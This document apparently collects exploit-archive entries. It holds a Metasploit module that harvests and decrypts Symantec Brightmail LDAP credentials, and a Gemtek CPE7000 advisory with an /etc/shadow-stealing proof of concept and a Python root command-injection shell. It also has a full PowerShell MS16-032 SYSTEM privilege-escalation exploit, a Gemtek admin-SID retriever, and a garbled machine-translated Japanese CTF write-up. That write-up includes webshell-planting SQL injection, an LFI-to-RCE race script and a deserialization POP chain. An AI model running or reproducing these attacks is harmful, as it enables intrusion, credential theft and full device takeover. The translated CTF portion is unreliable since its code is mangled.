      print_error("#{peer} - SSL/TLS connection error")
      return false
    end
  end

  # Returns the derived key from the password, the salt and the iteration count number.
  #
  # @return Array of byte containing the derived key.
  def get_derived_key(password, salt, count)
    key = password + salt
    for i in 0..count-1
        key = Digest::MD5.digest(key)
    end
    kl = key.length
    return key[0,8], key[8,kl]
  end


  # @Return the deciphered password
  # Algorithm obtained by reversing the firmware
  #
  def decrypt(enc_str)
    pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
    salt = (Base64.strict_decode64(enc_str[0,12]))
    remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
    (dk, iv) = get_derived_key(pbe_key, salt, 1000)
    alg = "des-cbc"
    decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
    decode_cipher.decrypt
    decode_cipher.padding = 0
    decode_cipher.key = dk
    decode_cipher.iv = iv
    plain = decode_cipher.update(remsg)
    plain << decode_cipher.final
    return  plain.gsub(/[\x01-\x08]/,'')
  end

 def grab_auths(sid,last_login)
  token = '' #from hidden input
  selected_ldap = '' # from checkbox input
  new_uri = '' # redirection
  flow_id = '' # id of the flow
  folder = '' # symantec folder
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
   'headers'   => {
    'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
    'Connection' => 'keep-alive'
   },
   'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
   })
   if res
    token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || ''
    selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || ''
   else
    return false
   end
   res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
    'headers'   => {
     'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
     'Connection' => 'keep-alive'
    },
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
    'vars_post'  => {
     'flowId'  => '0',
     'userLocale' => '',
     'lang'       => 'en_US',
     'symantec.brightmail.key.TOKEN'=> "#{token}",
     'selectedLDAP' => "#{selected_ldap}"
    }
   })
   if res and res.headers['Location']
    mlocation = res.headers['Location']
    new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
    flow_id =  new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
    folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
   else
    return false
   end
   res = send_request_cgi({
    'method'    => 'GET',
    'uri'       => "#{folder}",
    'headers'   => {
     'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
     'Connection' => 'keep-alive'
    },
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
    'vars_get'  => {
     'flowId'  => "#{flow_id}",
     'userLocale' => '',
     'lang'       => 'en_US'
    }
   })
   if res and res.code == 200
    login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
    password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
    host =  res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
    port =  res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
    password = decrypt(password)
    print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
    report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
   end
  end

  def run_host(ip)
    return unless port_open?
    sid, last_login = get_login_data
    if sid.empty? or last_login.empty?
      print_error("#{peer} - Missing required login data.  Cannot continue.")
      return
    end
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    sid = auth(username, password, sid, last_login)
    if not sid
      print_error("#{peer} - Unable to login.  Cannot continue.")
      return
    else
      print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
    e   nd
    grab_auths(sid,last_login)
  end
end
            
#!/usr/bin/python

'''
# Exploit Title: Gemtek CPE7000 / WLTCS-106 multiple vulnerabilities
# Date: 04/06/2016
# Exploit Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
# Vendor Homepage: gemtek.com.tw
# Version: Firmware Version 01.01.02.082
# Tested on: 
# Product Name : CPE7000
# Model ID : WLTCS-106
# Hardware Version : V02A
# Firmware Version : 01.01.02.082

1) SID leak / auth bypass
The sysconfg cgi application leaks a valid "SID" (session id) when the
following unauthenticated request is made:
Request: GET /cgi-bin/sysconf.cgi?page=ajax.asp&action=login_confirm HTTP/1.1

The response body has the form: <checkcode>,<sid>
Example resp: RJIi,BtsS2OdhcVSbviDC5iMa1MKeo9rbrgdQ

The sid thus obtained can be used to "unlock" the cliend-side administration
interface and/or to directly issue request that are usually restricted to
administrative accounts.

POCs: 

I) Unauthenticated remote reboot:
Request:
/cgi-bin/sysconf.cgi?page=ajax_check.asp&action=reboot&reason=1&sid=<SID>

II) Web admin interface access. Add a new cookie with the following values: 
userlevel=2
sid=<sid>

--------------------------------------------------------------------------------

2) Arbitrary file download - with root privileges - via iperf tool
One of the diagnostic tools available on the device can be used to read an
arbitrary file on the device. The sysconfg cgi application fails to sanitize
user input, allowing an attacker to hijack the command issued to the "iperf"
binary, a commonly-used network testing tool that can create TCP and UDP data
streams and measure the throughput of a network that is carrying them.

The client-side validation can be easily bypassed by changing the javascript
validation code, or by directly sending a forged request to the server.
The iperf tool is run with the -c switch, meaning that it is behaving as a
client that sends data to a server. By adding the -F parameter, iperf is forced
to read data from a file instead of generating random data to be sent during the
measurement.

This attack needs 2 step in order to take advantage of the vulnerability.
The first request sets up the command be to run, the second one (a.k.a. toggle)
actually runs the command (check the response body, 1 means running, 0 means stopped).

The following "SETUP" request can be used to set the correct parameters:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=ZZ&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&
perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20 <URLENCODED PATH TO
FILE>

Parameters breakdown:
XXX.XXX.XXX.XXX = attacker ip
YYYY = attacker listening port
zz = time limit
Note: nc is enough to capture data, which may be sent with some additional
header and footer introduced by iperf's protocol

In order to run iperf, the following "TOGGLE" (run/stop) request must be sent:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


POCs:
I) download of /etc/shadow
SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=30&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&p
erf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fetc%2fshadow

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


II) download of device physical memory (/dev/mem) with increased perf_measure_test_time:
SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=6000&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024
&perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fdev%2fmem

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle

--------------------------------------------------------------------------------

3) Unauthenticated remote root command execution
The same vulnerability can be used to issue an arbitrary command on the device.
The command executed on the system to run the diagnostic tool is constructed
using the sprintf function and the following format string, with no additional
checks:

iperf -c "%s" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &

It is therefore possible to insert another command by injecting it in the 
"perf_measure_server_ip" parameter and commenting out the rest of the original
command.

To concatenate a command, the string in the first half before the injection
point ( iperf -c " ) must be correctly closed with quotes ( " ).
Then the new command can be added, preceded by a semicolon ( ; ).
Finally, the other part of the original command after the "injection point"
must be commented out ( # ).

iperf -c ""; <NEWCMD> #" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &


SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=%22%3b%20<COMMAND_HERE>%20%23&perf_measure_server_port=5555&perf_measure_cpe_p
ort=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_pac
ket_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


POC (echo test > /www/test):
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=%22%3b%20echo%20test%20%3E%20%2fwww%2ftest%20%23&perf_measure_server_port=5555
&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type
=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_
client_num=1

and toggle:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle

--------------------------------------------------------------------------------

Remediation:
Disable wan access to the management web interface until an updated firmware is released.

More information and a detailed how-to is available at: http://www.mentat.is/docs/cpe7000-multiple-vulns.html
'''

#Gemtek CPE7000 / WLTCS-106 remote root command execution
#Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
# Tested on: 
# 		Product Name : 	CPE7000
#		Model ID : 	WLTCS-106
#		Hardware Version : 	V02A
#		Firmware Version : 	01.01.02.082

import httplib
import ssl
import urllib
import time
import sys
import getopt
import socket

ssl._create_default_https_context = ssl._create_unverified_context

host=''
port = 443

def check():
	try:
        	conn = httplib.HTTPSConnection(host +":"+str(port), timeout=10)
        	conn.request("GET", "/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1")
        	r1 = conn.getresponse()
        	if r1.status != 200:
			return False
        	return True
	except socket.error as msg:
		print "Cannot connect";
		sys.exit();


def sendcmd( cmd ):
	resource = '"; ' + cmd + ' &> /www/cmdoutput.txt #'
	urlencoded = urllib.quote_plus(resource)
	cmdresource = "/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_ip=" +urlencoded + "&perf_measure_server_port=5555&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1"
	res = makereq (cmdresource)
	res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
	if(res!="1"):
		res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
	time.sleep(1)
	res = makereq ("/cmdoutput.txt")
	print res


def makereq (resource):
	conn = httplib.HTTPSConnection(host +":"+str(port))
	conn.request("GET", resource)
	r1 = conn.getresponse()
	body = r1.read()
	return body


if len(sys.argv) < 2:
	print 'GemtekShell.py <host> [<port> (443)]'
	exit()
elif len(sys.argv) > 2:
	port = sys.argv[2]

host = sys.argv[1]

print 'Connecting to ', host, port

if not check() :
	print "Host seems not vulnerable"
	sys.exit()


while(1):
	cmd = raw_input("gemtekCMD> ")
	if cmd.strip() != "quit" :
		sendcmd(cmd)
	else :
		sys.exit()
	
            
function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
    
.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}
	
	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}
	
	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle, 
			int DesiredAccess,
			ref IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}
	
	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}
	
	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@
	
	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)
		
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		
		$lpTargetHandle
	}
	
	function Get-SystemToken {
		echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
	
		$CallResult = [Kernel32]::SuspendThread($hThread)
		if ($CallResult -ne 0) {
			echo "[!] $hThread is a bad thread, exiting.."
			Return
		} echo "[+] Thread suspended"
		
		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		# Null $SysTokenHandle
		$script:SysTokenHandle = [IntPtr]::Zero

		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($hThread)
	}
	
	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
"@
	
	$ms16032
	
	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}
	
	echo "[>] Duplicating CreateProcessWithLogonW handle"
	$hThread = Get-ThreadHandle
	
	# If no thread handle is captured, the box is patched
	if ($hThread -eq 0) {
		echo "[!] No valid thread handle was captured, exiting!`n"
		Return
	} else {
		echo "[?] Done, using thread handle: $hThread"
	} echo "`n[*] Sniffing out privileged impersonation token.."
	
	# Get handle to SYSTEM access token
	Get-SystemToken
	
	# If we fail a check in Get-SystemToken, exit
	if ($SysTokenHandle -eq 0) {
		Return
	}
	
	echo "`n[*] Sniffing out SYSTEM shell.."
	echo "`n[>] Duplicating SYSTEM token"
	$hDuplicateTokenHandle = [IntPtr]::Zero
	$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
	
	# Simple PS runspace definition
	echo "[>] Starting token race"
	$Runspace = [runspacefactory]::CreateRunspace()
	$StartTokenRace = [powershell]::Create()
	$StartTokenRace.runspace = $Runspace
	$Runspace.Open()
	[void]$StartTokenRace.AddScript({
		Param ($hThread, $hDuplicateTokenHandle)
		while ($true) {
			$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
		}
	}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
	$AscObj = $StartTokenRace.BeginInvoke()
	
	echo "[>] Starting process race"
	# Adding a timeout (10 seconds) here to safeguard from edge-cases
	$SafeGuard = [diagnostics.stopwatch]::StartNew()
	while ($SafeGuard.ElapsedMilliseconds -lt 10000) {

		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		#---
		# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
		#---
		# Missing this check used to cause the exploit to fail sometimes.
		# If CreateProcessWithLogon fails OpenProcessToken won't succeed
		# but we obviously don't have a SYSTEM shell :'( . Should be 100%
		# reliable now!
		#---
		if (!$CallResult) {
			continue
		}
			
		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}
			
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

	}
	
	# Kill runspace & stopwatch if edge-case
	$StartTokenRace.Stop()
	$SafeGuard.Stop()
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
      'Description'    => %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
        unauthenticated remote attackers to retrieve a valid Administrative SID.

        To obtain an administrative web session inject this SID in your client's
        cookie with values as follow: userlevel=2;sid=<SID>

        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'References'     =>
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'Author'         =>
        [
          'Federico Scalco <fscalco [ at] mentat.is>'
          #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Apr 07 2016",
      'DefaultOptions' =>
      {
        'RPORT' => 443
      }
    ))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)
  end

  def run
    @peer = "#{rhost}:#{rport}"

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'login_confirm'
      }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
    end

    ssid = res.body.split(',', 2)
    print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
  end
end
            

web

mmmmd5d5d5d5

リンクオープンページ

image

バイパス

?a []=1b []=2

image

MD5を構築します

?php

for($ i=0; $ i=100000; $ i ++)

{

if(substr(md5($ i)、5、5)==='3ddc6')

{

echo $ i;

壊す;

}

}

次のレベルを入力します

image

提出する

ffiffdyop

得る:

?php

error_reporting(0);

「flag.php」を含める;

highlight_file(__ file__);

if($ _ post ['param1']!==$ _ post ['param2'] md5($ _ post ['param1'])==md5($ _ post ['param2']){

echo $ flag;

}

image

ペイロードを構築します:

param1 []=1param2 []=2

フラグを取得できます

edgnb(サインイン)

Dockerデスクトップバージョンを直接開きます

image

フラグを取得できます

タイムタワーの宝物

リンクログインボックスが開きます

image

ペイロードを構築します:

pswd=adminusname=admin 'union select 1、'?php eval($ _ post [1]); ' Into Outfile '/var/www/html/1203.php';#

image

Ant Sword Connect1203.Php、パスワードは1、フラグを取得できます

image

lfi_to_rce

?php

show_source( './index.php');

$ _get ['file']を含める;

警告: include():ファイル名は/var/www/html/index.phpで空にすることはできません。

警告: include(): inclusion(include_path='。/usr/local/lib/php')のinclusion(include_path='。

expに投稿:

リクエストをインポートします

IOをインポートします

スレッドをインポートします

url='http://81.70.102.209:10040/index.php'

sessid='21r000 '

def write(セッション):

filebytes=io.bytesio(b'a ' * 1024 * 50)

true:

res=session.post(url、

data={

'php_session_upload_progress':'?php eval($ _ post [1]); '

}、

Cookie={

'phpsessid': sessid

}、

files={

'file':(' 21r000.jpg '、filebytes)

}

))

def read(session):

true:

res=session.post(url+'?file=/tmp/sess _'+sessid、

data={

'1':'system(' ls /');'

}、

Cookie={

'phpsessid':sessid

}

))

res.text:の「etc」の場合

印刷(res.text)

__name__=='__main __' :の場合

evnet=threading.event()

session:としてrequests.session()を使用

範囲のIの場合(5):

threading.thread(target=write、args=(session、))。start()

範囲のIの場合(5):

threading.thread(ターゲット=read、args=(session、))。start()

evnet.set()

image

旗を獲得するために訪問します

unserialize

?php

error_reporting(0);

「hint.php」を含める;

クラスX {

public $ value;

public $ cc;

function __wakeup(){

Die( 'Fighting !');

}

}

クラスA {

public $ nice;

パブリック関数__Destruct()

{

$ this-nice=unserialize($ this-nice);

$ this-nice-value=$ fake;

if($ this-nice-value===$ this-nice-cc)

$ this-test-good();

}

}

クラスB {

public $ value;

public $ array;

public function good(){

if(is_array($ this-array)){

($ this-array)($ this-value);

}

それ以外{

echo 'must_array';

}

}

}

クラスC {

public $ value;

パブリックファンクションシェル($ func){

if(preg_match( '/^[a-z0-9]*$/isd'、$ func)){

die( 'y0u_a2e_hackk!');

}

それ以外{

$ func($ this-value);

}

}

}

if(isset($ _ get ['pop'])){

$ pop=base64_decode($ _ get ['pop']);

unserialize($ pop);

} それ以外{

highlight_file(__ file__);

}

ポップチェーンの問題は、A:2からA:3に変更されます

?pop=tzoxoijhijozontzojq6im5py2uio3m6mzc6ik86mtoieci6mjp7czo1oij2ywx1zsi7tjtzoji6imnjijtoo330io33m6n6n6ndoidgvzdci7tzoxoxoxoxoijiyjontzoju6inz hbhvlijtzojc6ilxzexn0zw0io3m6ntoiyxjyyxkio2e6mjp7atowo086mtoiyyi6m tp7czo1oij2ywx1zsi7czo5oijyxqgl2zsywcio31poje7czo1oijzagvsbci7fx19

PACをポスト

?php

クラスX {

public $ value;

public $ cc;

パブリック関数__construct()

{

$ this-value=$ fake;

$ this-cc=$ fake;

}

function __wakeup(){

Die( 'Fighting !');

}

}

クラスA {

public $ nice;

パブリック関数__construct()

{

$ this-nice=serialize(new X());

$ this-test=new b();

}

パブリック関数__Destruct()

{

$ this-nice=unserialize($ this-nice);

$ this-nice-value=$ fake;

if($ this-nice-value===$ this-nice-cc)

$ this-test-good();

}

}

クラスB {

public $ value='\ system';

public $ array;

パブリック関数__construct()

{

$ this-array=[new c()、 'shell'];

}

public function good(){

if(is_array($ this-array)){

($ this-array)($ this-value);

}

それ以外{

echo 'must_array';

}

}

}

クラスC {

public $ value='cat /flag';

パブリックファンクションシェル($ func){

if(preg_match( '/^[a-z0-9]*$/isd'、$ func)){

die( 'y0u_a2e_hackk!');

}

それ以外{

$ func($ this-value);

}

}

}

$ a=new a();

echo serialize($ a);

echo 'br';

echo base64_encode(serialize($ a));

Misc

公式アカウントya

に来てください

image

コードをスキャンするだけです

jamesharden

添付ファイルをダウンロードして減圧し、ファイルの接尾辞を変更します。zipを追加した後、減圧ファイルは.classファイルです。

image

rot13 urpgsの復号化{jr1p0zr_g0_u3pg6_!}フラグを取得するには:

image

隠れ模様

添付ファイルは、Wordドキュメントとしてファイルを開きます

image

テキストのプロンプトによると、構成コンテンツのフォントサイズを12に変更します

jsfuck暗号化として発見されました

image

